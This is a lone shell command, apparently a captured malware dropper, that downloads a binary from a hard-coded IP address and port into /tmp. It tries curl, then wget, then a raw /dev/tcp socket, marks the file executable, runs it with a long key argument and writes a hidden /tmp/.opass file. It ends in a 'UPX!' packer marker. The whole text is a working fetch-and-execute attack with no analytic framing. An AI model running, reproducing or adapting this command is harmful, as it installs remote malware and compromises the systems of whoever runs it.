nohup $SHELL -c "curl http://47.236.164.79:60102/linux -o /tmp/FBSjARpfX3; if [ ! -f /tmp/FBSjARpfX3 ]; then wget http://47.236.164.79:60102/linux -O /tmp/FBSjARpfX3; fi; if [ ! -f /tmp/FBSjARpfX3 ]; then exec 6<>/dev/tcp/47.236.164.79/60102 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/FBSjARpfX3 && chmod +x /tmp/FBSjARpfX3 && /tmp/FBSjARpfX3 RpbtxFURDlzL8oc8OJjoylcJD1zG7pY6Mobyw18M[...]; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/FBSjARpfX3 && /tmp/FBSjARpfX3 RpbtxFURDlzL8oc8OJjoylcJD1zG7pY6Mobyw18M[...]" &#UPX!